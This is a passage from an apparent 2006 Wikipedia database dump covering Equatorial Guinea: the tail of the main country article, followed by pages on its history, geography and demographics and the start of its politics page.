The [[Portuguese Empire|Portuguese explorer]], [[Fernão do Pó]], seeking a route to [[India]], is credited with having discovered the island of Bioko in [[1472]]. He called it ''Formosa'' (&quot;Beautiful&quot;), but it quickly took on the name of its European discoverer. The islands of Fernando Póo and Annobón were colonized by [[Portugal]] in [[1474]]. The Portuguese retained control until [[1778]], when the island, adjacent islets, and commercial rights to the mainland between the Niger and [[Ogoue]] Rivers were ceded to [[Spanish Empire|Spain]] in exchange for territory in the American continent ([[Treaty of El Pardo]], between Queen [[Maria II of Portugal]] and King [[Charles III of Spain]]). From [[1827]] to [[1843]], [[United Kingdom|Britain]] established a base on the island to combat the [[Slavery|slave trade]]. The mainland portion, Rio Muni, became a protectorate in [[1885]] and a colony in [[1900]]. Conflicting claims to the mainland were settled in 1900 by the [[Treaty of Paris]], and periodically, the mainland territories were united administratively under Spanish rule. Between [[1926]] and [[1959]] they were united as the colony of [[Spanish Guinea]].

==Politics==
''Main article: [[Politics of Equatorial Guinea]]''

Equatorial Guinea became officially independent from Spain on [[October 12]], [[1968]].  Since then, the country has had [[Heads of State of Equatorial Guinea|two leaders]]: [[Francisco Macías Nguema]], the former mayor of [[Mongomo]] under the Spanish colonial government, and his nephew [[Teodoro Obiang Nguema Mbasogo]], who staged a military [[coup d'état]], executed his uncle, and has ruled since 1979.

The 1982 constitution of Equatorial Guinea gives Obiang extensive powers, including naming and dismissing members of the cabinet, making laws by decree, dissolving the Chamber of Representatives, negotiating and ratifying treaties and calling legislative elections. Obiang retains his role as commander in chief of the armed forces and minister of defense, and he maintains close supervision of the military activity. The Prime Minister is appointed by the President and operates under powers designated by the President. The Prime Minister coordinates government activities in areas other than foreign affairs, national defense and security.

On [[December 15]], [[2002]] [http://allafrica.com/stories/200212160112.html], Equatorial Guinea's four main opposition parties withdrew from the country's presidential election. Obiang won an election widely considered fraudulent by members of the western press.

According to a March 2004 [[BBC]] profile [http://news.bbc.co.uk/1/hi/world/africa/3516588.stm], politics within the country are currently dominated by tensions between Obiang's son Teodorin, and other close relatives with powerful positions in the security forces. The tension may be rooted in power shift arising from the dramatic increase since [[1997]] in oil production.

A November 2004 report [http://www.theaustralian.news.com.au/common/story_page/0,5744,11431299%255E2703,00.html] named [[Mark Thatcher]] as a financial backer of a March 2004 attempt to topple Obiang organized by [[Simon Mann]].  Various accounts also name Britain's [[MI6]], the [[CIA]], and Spain as having been tacit supporters of the coup attempt. [http://www.sundayherald.com/print44412]

==Economy==
''Main article: [[Economy of Equatorial Guinea]]''

Pre-independence Equatorial Guinea counted on [[cocoa]] production for hard currency earnings. In [[1959]] it had the highest [[per capita income]] of Africa.

The discovery of large oil reserves in [[1996]] and its subsequent exploitation have contributed to a dramatic increase in government revenue. [[As of 2004]] [http://www.washingtonpost.com/wp-dyn/articles/A1101-2004Sep6.html], Equatorial Guinea is the third-largest oil producer in [[Sub-Saharan Africa]]. Its oil production has risen to 360,000 barrels/day, up from 220,000 only two years earlier.

Forestry, farming, and fishing are also major components of GDP. Subsistence farming predominates. The deterioration of the rural economy under successive brutal regimes has diminished any potential for agriculture-led growth. 

Despite a per capita GDP (PPP) of more than US$30,000 [http://imf.org/external/pubs/ft/weo/2005/02/data/dbcoutm.cfm?SD=2004&amp;ED=2004&amp;R1=1&amp;R2=1&amp;CS=3&amp;SS=2&amp;OS=C&amp;DD=0&amp;OUT=1&amp;C=512-941-914-446-612-666-614-672-311-946-213-137-911-962-193-674-122-676-912-548-313-556-419-678-513-181-316-682-913-684-124-273-339-921-638-948-514-686-218-688-963-518-616-728-223-558-516-138-918-353-748-196-618-278-522-692-622-694-156-142-624-449-626-564-628-283-228-853-924-288-233-293-632-566-636-964-634-182-238-453-662-968-960-922-423-714-935-862-128-716-611-456-321-722-243-965-248-718-469-724-253-576-642-936-643-961-939-813-644-199-819-184-172-524-132-361-646-362-648-364-915-732-134-366-652-734-174-144-328-146-258-463-656-528-654-923-336-738-263-578-268-537-532-742-944-866-176-369-534-744-536-186-429-925-178-746-436-926-136-466-343-112-158-111-439-298-916-927-664-846-826-299-542-582-443-474-917-754-544-698&amp;S=PPPPC&amp;CMP=0&amp;x=18&amp;y=9 IMF] (CIA Factbook [http://www.cia.gov/cia/publications/factbook/geos/ek.html gives] $50,200) which is as of 2004 the [[List of countries by GDP (PPP) per capita|sixth highest]] in the world, Equatorial Guinea ranks 121st out of 177 countries on the [[United Nations]] [[Human Development Index]].

In [[July 2004]], the U.S. Senate published an investigation into [[Riggs Bank]], a Washington-based bank into which most of Equatorial Guinea's oil revenues were paid until recently, and which also banked for Chile's Augusto Pinochet. The Senate report, as to Equatorial Guinea, showed that at least $35 million were siphoned off by Obiang, his family and senior officials of his regime. The president has denied any wrongdoing. While Riggs Bank in February 2005 paid $9 million as restitution for its banking for Chile's Augusto Pinochet, no restitution was made with regard to Equatorial Guinea, as reported in detail in [http://www.innercitypress.org/finwatch.html this Anti-Money Laundering Report from Inner City Press].

==Provinces==
[[Image:Equatorial Guinea provinces numbered.png|thumb|Provinces of Equatorial Guinea]]
''Main article: [[Provinces of Equatorial Guinea]]''

Equatorial Guinea is divided into seven [[province]]s:
#[[Annobón Province]] (provincial capital: [[Palé]])
#[[Bioko Norte Province]] ([[Malabo]])
#[[Bioko Sur Province]] ([[Luba, Equatorial Guinea|Luba]])
#[[Centro Sur Province]] ([[Evinayong]])
#[[Kié-Ntem Province]] ([[Ebebiyín]])
#[[Litoral Province (Equatorial Guinea)|Litoral Province]] ([[Bata, Equatorial Guinea|Bata]])
#[[Wele-Nzas Province]] ([[Mongomo]])

==Geography==
[[Image:Limbe view with Bioko.jpg|thumb|[[Bioko]] (Equatorial Guinea) visible in the distance from Cameroon]]
''Main article: [[Geography of Equatorial Guinea]]''

The Republic of Equatorial Guinea is located in west central Africa. Bioko Island lies about 40 kilometers (25 mi.) from Cameroon. Annobón Island lies about 595 kilometers (370 mi.) southwest of Bioko Island. The larger continental region of Rio Muni lies between Cameroon and Gabon on the mainland; it includes the islands of Corisco, Elobey Grande, Elobey Chico, and adjacent islets.

==Demographics==
[[Image:Fang in Equatorial Guinea.jpg|thumb|The fang children]]
''Main article: [[Demographics of Equatorial Guinea]]''

The majority of the people of Equatorial Guinea are of [[Bantu]] origin. The largest tribe, the [[Beti-Pahuin#Fang|Fang]], is indigenous to the mainland, but substantial migration to [[Bioko Island]] has resulted in Fang dominance over the earlier Bantu inhabitants. The Fang constitute eighty percent of the population and are themselves divided into sixty seven clans. Those in the northern part of Rio Muni speak Fang-Ntumu, while those in the south speak Fang-Okah; the two dialects are mutually unintelligible. The [[Bubi]], who constitute fifteen percent of the population, are indigenous to Bioko Island. 

In addition, there are coastal tribes, sometimes referred to as &quot;Playeros&quot; (''Beach People'' in [[Spanish language|Spanish]]): [[Ndowe]]s, [[Bujeba]]s, [[Balengue]]s, and [[Benga]]s on the mainland and small islands, and &quot;Fernandinos&quot;, a [[Creole peoples|Creole]] community, on Bioko. Together, these groups compose five percent of the population. There is a growing number of foreigners from neighboring [[Cameroon]], [[Nigeria]], and [[Gabon]].

[[Petroleum]] has contributed to a doubling of the population in Malabo.

==Culture==
Several cultural dispersion and literacy organizations are located in the country, founded chiefly with the financial support of the Spanish government.  The country has one [[university]], the Universidad Nacional de Guinea Ecuatorial (UNGE) with a campus in [[Malabo]] and a Faculty of Medicine located in [[Bata]] on the mainland.  The Bata Medical School is supported principally by the government of [[Cuba]] and staffed by medical educators and physicians from that country..

''Main article: [[Culture of Equatorial Guinea]]''

*[[List of African writers (by country)#Equatorial Guinea|List of writers from Equatorial Guinea]]

*[http://www.ceiba-guinea-ecuatorial.org/guineees/cartescolaire.htm Ministry of Education and Science of the Republic of Equatorial Guinea]

==Mass media==
The most dominant form of [[mass media]] in the country are the three state-operated [[FM radio]] stations. There are also five [[shortwave]] radio stations. 

A July 2003 article from the BBC [http://news.bbc.co.uk/2/hi/africa/3098007.stm] points out there are no daily newspapers in the country and described how a [[Beti-Pahuin#Fang|Fang]] program called &quot;Bidze-Nduan&quot; (&quot;Bury the Fire&quot;) on a widely listened-to state radio station declared that Obiang was &quot;in permanent contact with the Almighty&quot;; a presidential aide on the show also said:
:He (Obiang) can decide to kill without anyone calling him to account and without going to hell because it is God himself, with whom he is in permanent contact, and who gives him this strength.

Most of the media companies practise heavy self-censorship, and are banned by law from criticising public figures. The state owned media and the main private radio station are under the directorship of [[Teodorin Nguema Obiang]], the president's son. Some media-related statistics from ''[[The World Factbook]]'' are summarized in a section on [[communications in Equatorial Guinea]].

==Miscellaneous topics==
*[[Communications in Equatorial Guinea]]
*[[Eric Moussambani]]
*[[Foreign relations of Equatorial Guinea]]
*[[List of Equatorial Guinea nationals|Notable Equatorial Guinea nationals]]
*[[Military of Equatorial Guinea]]
*[[Transportation in Equatorial Guinea]]

==References==
*[[Max Liniger-Goumaz]], ''Small is not Always Beautiful: The Story of Equatorial Guinea'' (French 1986, translated 1989) ISBN 0-389-20861-2
*[[Ibrahim K. Sundiata]], ''Equatorial Guinea: Colonialism, State Terror, and the Search for Stability'' (1990, Boulder: Westview Press) ISBN 0-8133-0429-6

{{factbook}}

==External links==
{{sisterlinks|Equatorial Guinea}}

===News===
*[http://allafrica.com/equatorialguinea/ allAfrica - ''Equatorial Guinea''] news headline links

===Overviews===
*[http://news.bbc.co.uk/1/hi/world/africa/country_profiles/1023151.stm BBC News Country Profile - ''Equatorial Guinea'']
* [http://www.cia.gov/cia/publications/factbook/geos/ek.html CIA World Factbook - ''Equatorial Guinea'']

===Directories===
* [http://search.looksmart.com/p/browse/us1/us317836/us317916/us559898/us559899/us10065674/us559921/ LookSmart - ''Equatorial Guinea''] directory category
* [http://dmoz.org/Regional/Africa/Equatorial_Guinea/ Open Directory Project - ''Equatorial Guinea''] directory category
*[http://www-sul.stanford.edu/depts/ssrg/africa/eqg.html Stanford University - Africa South of the Sahara: ''Equatorial Guinea''] directory category
*[http://www.afrika.no/index/Countries/Equatorial_Guinea/ The Index on Africa - ''Equatorial Guinea'']
*[http://www.sas.upenn.edu/African_Studies/Country_Specific/Eq_Guinea.html University of Pennsylvania - African Studies Center: ''Equatorial Guinea''] directory category
* [http://dir.yahoo.com/Regional/Countries/Equatorial_Guinea/ Yahoo! - ''Equatorial Guinea''] directory category

===Ethnic Groups===
* [http://www.pygmies.info/ African Pygmies] Culture and music of the first inhabitants of Equatorial Guinea, with photos and ethnographic notes

===Tourism===
*{{wikitravel}}
* [http://www.ceiba-guinea-ecuatorial.org/ Institutional web site of the Equatorial Guinea] (sic)

===Other===
*[http://www.fairfinancewatch.org/africa.html#obiang Equatorial Guinea Banking Issues, from the Fair Finance Watch]

{{Africa}}

[[Category:African Union member states]]
[[Category:Equatorial Guinea|*]]

[[af:Ekwatoriaal-Guinee]]
[[an:Guinea Ecuatorial]]
[[ar:غينيا الاستوائية]]
[[bg:Екваториална Гвинея]]
[[bs:Ekvatorijalna Gvineja]]
[[ca:Guinea Equatorial]]
[[cs:Rovníková Guinea]]
[[da:Ækvatorialguinea]]
[[de:Äquatorialguinea]]
[[eo:Ekvatora Gvineo]]
[[es:Guinea Ecuatorial]]
[[et:Ekvatoriaal-Guinea]]
[[fi:Päiväntasaajan Guinea]]
[[fr:Guinée équatoriale]]
[[gl:Guinea Ecuatorial]]
[[he:גינאה המשוונית]]
[[hr:Ekvatorska Gvineja]]
[[hu:Egyenlítői-Guinea]]
[[id:Guinea Khatulistiwa]]
[[io:Equatorala Guinea]]
[[is:Miðbaugs-Gínea]]
[[it:Guinea Equatoriale]]
[[ja:赤道ギニア]]
[[ko:적도 기니]]
[[li:Equatoriaal Guinee]]
[[lt:Pusiaujo Gvinėja]]
[[lv:Ekvatoriālā Gvineja]]
[[ms:Guinea Khatulistiwa]]
[[nds:Äquatoriaal-Guinea]]
[[nl:Equatoriaal-Guinea]]
[[nn:Ekvatorial-Guinea]]
[[no:Ekvatorial-Guinea]]
[[pl:Gwinea Równikowa]]
[[pt:Guiné Equatorial]]
[[ro:Guineea Ecuatorială]]
[[ru:Экваториальная Гвинея]]
[[sk:Rovníková Guinea]]
[[sl:Ekvatorialna Gvineja]]
[[sq:Guineja Ekuatoriale]]
[[sr:Екваторијална Гвинеја]]
[[sv:Ekvatorialguinea]]
[[tl:Equatorial Guinea]]
[[tr:Ekvator Ginesi]]
[[uk:Екваторіальна Гвінея]]
[[zh:赤道几内亚]]
[[zh-min-nan:Chhiah-tō Guinea]]</text>
    </revision>
  </page>
  <page>
    <title>History of Equatorial Guinea</title>
    <id>9367</id>
    <revision>
      <id>41099983</id>
      <timestamp>2006-02-25T01:15:10Z</timestamp>
      <contributor>
        <ip>68.54.94.115</ip>
      </contributor>
      <text xml:space="preserve">The first inhabitants of the region that is now '''[[Equatorial Guinea]]''' are believed to have been Pygmies, of whom only isolated pockets remain in northern [[Rio Muni]]. [[Bantu]] migrations between the 17th and 19th centuries brought the coastal tribes and later the Fang. Elements of the latter may have generated the Bubi, who emigrated to [[Bioko]] from [[Cameroon]] and [[Río Muni]] in several waves and succeeded former neolithic populations.It is said the [[Igbo]] of [[Nigeria]] (mostly Aro) slave traders arrived and founded very few tiny settlements in Bioko and Rio Muni which expanded the [[Aro confederacy]] in the 18nth and 19nth centuries. The Annobon population, native to [[Angola]], was introduced by the Portuguese via São Tomé.

The Portuguese explorer, [[Fernando Po (person)|Fernão do Po]], seeking a route to India, is credited with having discovered the island of [[Bioko]] in 1471. He called it Formosa (&quot;beautiful [isle]&quot;, a name later applied to [[Taiwan]]), but it quickly took on the name of its European discoverer. The islands of [[Fernando Póo (island)|Fernando Póo]] and [[Annobón]] were colonized by the [[Portugal|Portuguese]] in 1474, and passed to [[Spain]] in 1778.  The Portuguese retained control until 1778, when the island, adjacent islets, and commercial rights to the mainland between the Niger and Ogooué Rivers were ceded to Spain in exchange for territory in South America (Treaty of Pardo). From 1827 to 1843, Britain established a base on the island to combat the slave trade.  
The mainland portion, [[Río Muni]], became a protectorate in 1885 and a colony in 1900.  Conflicting claims to the mainland were settled in 1900 by the Treaty of Paris, and periodically, the mainland territories were united administratively under Spanish rule.  Between 1926 and 1959 they were united as the colony of [[Spanish Guinea]].

Spain lacked the wealth and the interest to develop an extensive economic infrastructure in what was commonly known as Spanish Guinea during the first half of the twentieth century. However, through a paternalistic system, particularly on Bioko Island, Spain developed large cacao plantations for which thousands of Nigerian workers were imported as laborers. At independence in 1968, largely as a result of this system, Equatorial Guinea had one of the highest per capita incomes in Africa. The Spanish also helped Equatorial Guinea achieve one of the continent's highest literacy rates and developed a good network of health care facilities.

In 1959, the Spanish territory of the Gulf of Guinea was established with status similar to the provinces of metropolitan Spain. As the Spanish Equatorial Region, it was ruled by a governor general exercising military and civilian powers. The first local elections were held in 1959, and the first Equatoguinean representatives were seated in the Spanish parliament. Under the Basic Law of December 1963, limited autonomy was authorized under a joint legislative body for the territory's two provinces. The name of the country was changed to Equatorial Guinea. Although Spain's commissioner general had extensive powers, the Equatorial Guinean General Assembly had considerable initiative in formulating laws and regulations.

In March 1968, under pressure from Equatoguinean nationalists and the [[United Nations]], Spain announced that it would grant independence to Equatorial Guinea. A constitutional convention produced an electoral law and draft constitution. In the presence of a UN observer team, a referendum was held on August 11, 1968, and 63% of the electorate voted in favor of the constitution, which provided for a government with a General Assembly and a Supreme Court with judges appointed by the president.

In September 1968, [[Francisco Macías Nguema]] was elected first president of Equatorial Guinea, and independence was granted in October. In July 1970, Macias created a single-party state and by May 1971, key portions of the constitution were abrogated. In 1972 Macias took complete control of the government and assumed the title of [[President for Life]]. The Macias regime was characterized by abandonment of all government functions except internal security, which was accomplished by terror; this led to the death or exile of up to one-third of the country's population. Due to pilferage, ignorance, and neglect, the country's infrastructure--electrical, water, road, transportation, and health--fell into ruin. Religion was repressed, and education ceased. The private and public sectors of the economy were devastated. Nigerian contract laborers on Bioko, estimated to have been 60,000, left en masse in early 1976. The economy collapsed, and skilled citizens and foreigners left.

All schools were ordered closed in 1975, and the country's churches were closed in 1978. Nguema introduced a campaign of 'authenticity,' replacing colonial names with native ones: the capital Santa Isabel became [[Malabo]], the main island of [[Fernando Póo (island)|Fernando Póo]] was renamed Masie Nguema Biyogo after himself, and [[Annobón]] became [[Pagalu]].. As part of the same process, Nguema also ordered the entire population to drop their European names and adopt African ones. His own name underwent several transformations, so that by the end of his rule he was known as Masie Nguema Biyogo Ñegue Ndong. 

In August 1979, Macias' nephew from Mongomo and former director of the infamous Black Beach prison, [[Teodoro Obiang Nguema Mbasogo]], led a successful coup d'etat; Macias was arrested, tried, and executed. Obiang assumed the Presidency in October 1979. The islands were renamed [[Bioko]] and Annobón. The new ruler faced the challenge of restoring order in a country that was in shambles--by the end of Masie Nguema's dictatorship, the state coffers were empty and the population had dropped to only one-third of what it was at independence. 

Obiang initially ruled Equatorial Guinea with the assistance of a Supreme Military Council. A new constitution, drafted in 1982 with the help of the [[United Nations Commission on Human Rights]], came into effect after a popular vote on August 15, 1982; the Council was abolished, and Obiang remained in the presidency for a 7-year term. He was reelected in 1989. In February 1996, he again won reelection with 98% of the vote; several opponents withdrew from the race, however, and the election was criticized by international observers. Subsequently, Obiang named a new cabinet, which included some opposition figures in minor portfolios.

While the economy remained primarily agricultural throughout the 1980s, with coffee and cocoa being the chief products, there was some room for hope with the exploitation of oil and natural gas in the late 1990s.

Despite the formal ending of one-party rule in 1991, Mr. Obiang's PDGE remains the dominant political party. In the legislative election in March 1999, the party increased its majority in the 80-seat parliament from 68 to 75. The main opposition parties, the [[Convergence for Social Democracy]] (CPDS) and the [[Unión Popular]] (UP) supposedly won four seats and one seat, respectively, in Parliament; they refused to accept them. Local elections in May 2000 saw the PDGE overwhelm its rivals once again, winning a clean sweep of all major municipalities. However, the main opposition parties rejected the elections as invalid and boycotted them.

In [[2003]], a government in exile was formed in [[Spain]]. Apparently they hired a [[Channel Island]] registered company by the name of Logo Logistics Ltd. to overthrow the current government. In March of [[2004]], 64 suspected mercenaries were detained on [[Harare]] airport, after the owners of their plane had supposedly made false declaration of the cargo and crew. In 2004, [[Margaret Thatcher]]'s son [[Mark Thatcher]] was arrested in [[South Africa]] on charges of aiding the attempted insurrection. In November 2004 19 men including [[Nick du Toit]] recieved lengthy sentences for being the [[vanguard]] of the failed [[coup]]. No death sentences were issued, keeping the door open for the potential [[extradition]] of Thatcher and [[Simon Mann]]


==External links==
[http://news.bbc.co.uk/2/hi/africa/4044305.stm BBC news article on the verdicts handed to the coup force]

{{Africa in topic|History of}}

[[Category:Equatorial Guinea]]

[[es:Historia de Guinea Ecuatorial]]
[[pt:História da Guiné Equatorial]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Equatorial Guinea</title>
    <id>9368</id>
    <revision>
      <id>40697766</id>
      <timestamp>2006-02-22T11:03:11Z</timestamp>
      <contributor>
        <username>Lupo</username>
        <id>34978</id>
      </contributor>
      <comment>Shaded relief map</comment>
      <text xml:space="preserve">{| border=1 align=right cellpadding=4 cellspacing=0 width=300 style=&quot;margin: 0.5em 0 1em 1em; background: #f9f9f9; border: 1px #aaaaaa solid; border-collapse: collapse; font-size: 95%;&quot;
|+&lt;big&gt;&lt;big&gt;'''República de Guinea Ecuatorial&lt;br&gt;République de la Guinée Équatoriale'''&lt;/big&gt;&lt;/big&gt;
|-
| style=&quot;background:#efefef;&quot; align=&quot;center&quot; colspan=&quot;2&quot; |
[[Image:Equatorial Guinea Map.png|none|300px|Shaded relief map of Equatorial Guinea]]
|-
| '''[[Continent]]''' || [[Africa]]
|- 
| '''[[Geographic coordinates]]''' || {{coor dm|2|00|N|10|00|E|type:country}}
|-
| '''[[Area]]'''&lt;br /&gt;&amp;nbsp;- Total &lt;br /&gt;&amp;nbsp;- % water
| [[List of countries by area|Ranked 141st]] &lt;br /&gt; 28,051 [[square kilometre|km&amp;sup2;]] &lt;br /&gt; Negligible
|-
| '''Coastline''' || 296 km
|-
| '''Highest point''' || [[Pico Basile]], 3,008 m
|-
| '''Lowest point''' || [[Atlantic Ocean]], 0 m
|-
| '''Longest river''' || [[Uola River]]
|-
| '''Land Use'''&lt;br&gt;&amp;nbsp;- Arable land&lt;br&gt;&amp;nbsp;- Permanent&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;crops&lt;br&gt;&amp;nbsp;- Permanent&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;pastures&lt;br&gt;&amp;nbsp;- Forests and&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;woodlands&lt;br&gt;&amp;nbsp;- Other ||&lt;br&gt;5 %&lt;br&gt;&lt;br&gt;4 %&lt;br&gt;&lt;br&gt;4 %&lt;br&gt;&lt;br&gt;46 %&lt;br&gt;41 % (1993 est.)
|- 
| '''[[Climate]]''': || [[Tropics|Tropical]]
|- 
| '''add more''' || need ideas
|-
| '''Natural resources''' || [[petroleum]], [[timber]], small unexploited deposits of [[gold]], [[manganese]], [[uranium]]
|-
| '''Environmental issues''' || [[drinking water]], [[desertification]]
|}
The Republic of '''Equatorial Guinea''' is located in west central [[Africa]]. [[Bioko|Bioko Island]] lies about 40 kilometers (25 mi.) from [[Cameroon]]. [[Annobón]] Island lies about 595 kilometers (370 mi.) southwest of Bioko Island. The larger continental region of [[Rio Muni]] lies between Cameroon and [[Gabon]] on the mainland; it includes the islands of [[Corisco]], [[Elobey Grande]], [[Elobey Chico]], and adjacent islets.

Bioko Island, called Fernando Po until the [[1970s]], is the largest island in the [[Gulf of Guinea]] - 2,017 square kilometers (780 sq. mi.). It is shaped like a boot, with two large volcanic formations separated by a valley that bisects the island at its narrowest point. The 195-kilometer (120-mi.) coastline is steep and rugged in the south but lower and more accessible in the north, with excellent harbors at [[Malabo]] and [[Luba, Equatorial Guinea|Luba]], and several scenic beaches between those towns.

On the continent, Rio Muni covers 26,003 square kilometers (10,040 sq. mi.). The coastal plain gives way to a succession of valleys separated by low hills and spurs of the [[Crystal Mountains]]. The [[Rio Benito]] (Mbini) which divides Rio Muni in half, is unnavigable except for a 20-kilometer stretch at its estuary. Temperatures and humidity in Rio Muni are generally lower than on Bioko Island.

Annobon Island, named for its discovery on New Year's Day [[1472]], is a small volcanic island covering 18 square kilometers (7 sq. mi.). The coastline is abrupt except in the north; the principal volcanic cone contains a small lake. Most of the estimated 1,900 inhabitants are fisherman specializing in traditional, smallscale tuna fishing and whaling. The climate is tropical--heavy rainfall, high humidity, and frequent seasonal changes with violent windstorms. 

'''Location:'''
Western [[Africa]], bordering the [[Bight of Biafra]], between [[Cameroon]] and [[Gabon]].

== Boundaries ==
Equatorial Guinea's land boundaries total 539 km. It borders [[Cameroon]] (189 km) in the north and [[Gabon]] (350 km) in the east and south.

'''Maritime claims:'''

exclusive economic zone:
200 nm

territorial sea:
12 nm

== Climate ==
Always hot, humid

== Terrain ==
Coastal plains rise to interior hills; islands are volcanic

'''Irrigated land:'''
NA km&amp;sup2;

'''Natural hazards:'''
violent windstorms, flash floods

'''Environment - current issues:'''
tap water is not potable; desertification

'''Environment - international agreements:'''

party to:
Biodiversity, Desertification, Endangered Species, Law of the Sea, Ship Pollution

signed, but not ratified:
none of the selected agreements

'''Geography - note:'''
insular and continental regions rather widely separated

==See also==
*[[Equatorial Guinea]]

{{Africa in topic|Geography of}}

[[Category:Geography of Equatorial Guinea| ]]
[[Category:Geography by country|Equatorial Guinea]]

[[es:Geografía de Guinea Ecuatorial]]
[[fr:Géographie de la Guinée équatoriale]]
[[pt:Geografia da Guiné Equatorial]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Equatorial Guinea</title>
    <id>9369</id>
    <revision>
      <id>40772992</id>
      <timestamp>2006-02-22T22:47:35Z</timestamp>
      <contributor>
        <username>Jorge Stolfi</username>
        <id>48742</id>
      </contributor>
      <minor />
      <comment>dab [[Creole]] --&gt; [[Creole peoples]]</comment>
      <text xml:space="preserve">The majority of the people of [[Equatorial Guinea]] are of [[Bantu]] origin. The largest tribe, the [[Beti-Pahuin#Fang|Fang]], is indigenous to the mainland, but substantial migration to [[Bioko Island]] has resulted in Fang dominance over the earlier Bantu inhabitants. The Fang constitute 80% of the population and are themselves divided into 67 clans. Those in the northern part of [[Rio Muni]] speak [[Fang-Ntumu]], while those in the south speak [[Fang-Okah]]; the two dialects are mutually unintelligible. The [[Bubi]], who constitute 15% of the population, are indigenous to Bioko Island. In addition, there are coastal tribes, sometimes referred to as &quot;Playeros&quot;: [[Ndowe]]s, [[Bujeba]]s, [[Balengue]]s, and [[Benga]]s on the mainland and small islands, and &quot;[[Fernandino]]s&quot;, a [[Creole peoples|Creole]] community, on Bioko. Together, these groups comprise 5% of the population. There is a growing number of foreigners from neighboring [[Cameroon]], [[Nigeria]] and [[Gabon]]. In 2001, there were about 280 Americans residing in Equatorial Guinea.

[[Spanish language |Spanish]] and [[French language|French]] are the [[official language]]s. The [[Roman Catholic Church]] has greatly influenced both religion and education.

Equatoguineans tend to have both a Spanish first name and an African first and last name. When written, the Spanish and African first names are followed by the father's first name (which becomes the principal surname) and the mother's first name. Thus people may have up to four names, with a different surname for each generation. 

'''Population:'''
474,214 (July 2000 est.); 2002 census results claim 1,015,000 residents, although this most likely was inflated in anticipation for the December election.[http://www.nationbynation.com/EquitorialGuinea/Human.html]

'''Age structure:'''
&lt;br&gt;''0-14 years:''
43% (male 101,724; female 100,787)
&lt;br&gt;''15-64 years:''
54% (male 121,290; female 132,581)
&lt;br&gt;''65 years and over:''
3% (male 7,960; female 9,872) (2000 est.)

'''Population growth rate:'''
2.47% (2000 est.)

'''Birth rate:'''
38.13 births/1,000 population (2000 est.)

'''Death rate:'''
13.4 deaths/1,000 population (2000 est.)

'''Net migration rate:'''
0 migrant(s)/1,000 population (2000 est.)

'''Sex ratio:'''
&lt;br&gt;''at birth:''
1.03 male(s)/female
&lt;br&gt;''under 15 years:''
1.01 male(s)/female
&lt;br&gt;''15-64 years:''
0.91 male(s)/female
&lt;br&gt;''65 years and over:''
0.81 male(s)/female
&lt;br&gt;''total population:''
0.95 male(s)/female (2000 est.)

'''Infant mortality rate:'''
94.83 deaths/1,000 live births (2000 est.)

'''Life expectancy at birth:'''
&lt;br&gt;''total population:''
53.56 years
&lt;br&gt;''male:''
51.53 years
&lt;br&gt;''female:''
55.65 years (2000 est.)

'''Total fertility rate:'''
4.94 children born/woman (2000 est.)

'''Nationality:'''
&lt;br&gt;''noun:''
Equatorial Guinean(s) or Equatoguinean(s)
&lt;br&gt;''adjective:''
Equatorial Guinean or Equatoguinean

'''Ethnic groups:'''
[[Bioko]] (primarily [[Bubi]], some [[Fernandinos]]), [[Rio Muni]] (primarily [[Beti-Pahuin#Fang|Fang]]), Europeans less than 1,000, mostly Spanish

'''Religions:'''
nominally [[Christianity|Christian]] and predominantly [[Roman Catholic]], [[Paganism|pagan]] practices

'''Languages:'''
[[Spanish language|Spanish]] (official), [[French language|French]] (official), [[pidgin English]], [[Beti-Pahuin#Fang|Fang]], [[Bubi]], [[Ibo]]

'''Literacy:'''
&lt;br&gt;''definition:''
age 15 and over can read and write
&lt;br&gt;''total population:''
78.5%
&lt;br&gt;''male:''
89.6%
&lt;br&gt;''female:''
68.1% (1995 est.)

:''See also :'' [[Equatorial Guinea]]

{{Africa in topic|Demographics of}}

[[Category:Demographics by country|Equatorial Guinea]]
[[Category:Equatorial Guinea]]

[[es:Demografía de Guinea Ecuatorial]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Equatorial Guinea</title>
    <id>9370</id>
    <revision>
      <id>41759909</id>
      <timestamp>2006-03-01T15:22:47Z</timestamp>
      <contributor>
        <ip>213.173.243.32</ip>
      </contributor>
      <text xml:space="preserve">{{election equatorial guinea}}
The 1982 constitution of [[Equatorial Guinea]] gives the President extensive powers, including naming and dismissing members of the cabinet, making laws by decree, dissolving the Chamber of Representatives, negotiating and ratifying treaties and calling legislative elections. The President retains his role as commander in chief of the armed forces and minister of defense, and he maintains close supervision of the military activity. The Prime Minister is appointed by the President and operates under powers designated by the President. The Prime Minister coordinates government activities in areas other than foreign affairs, national defense and security.

The Chamber of Representatives is comprised of 15 members appointed by the President and 45 members chosen by indirect elections; the term is 5 years. Adult citizens elect officials by secret ballot in their towns and villages. These officials then become electors who choose the 45 representatives from their own number, one per district, to serve in the national legislature. In practice, the Chamber is not independent and is unable to act without presidential approval or direction.

The President appoints the governors of the seven provinces. Each province is divided administratively into districts and municipalities. The internal administrative system falls under the Ministry of Territorial Administration; several other ministries are represented at the provincial and district levels.

The judicial system follows similar administrative levels. At the top are the President and his judicial advisors (the Supreme Court). In descending rank are the appeals courts, chief judges for the divisions, and local magistrates. Tribal laws and customs are honored in the formal court system when not in conflict with national law. The current court system, which often uses customary law, is a combination of traditional, civil, and military justice, and it operates in an ad hoc manner for lack of established procedures and experienced judicial personnel.

The other official branch of the government is the State Council. The State Council's main function is to serve as caretaker in case of death or physical incapacity of the President. It comprises the following ex officio members: the President of the Republic, the Prime Minister, the Minister of Defense, the President of the National Assembly and the Chairman of the Social and Economic Council.

In power since 1979, the Obiang government has made little progress in stimulating the economy. Extremely serious health and sanitary conditions persist, and the educational system remains in desperate condition. Although the abuses and atrocities that characterized the Macias years have been eliminated, effective rule of law does not exist. Religious freedom is tolerated. 

=='''Political conditions'''==

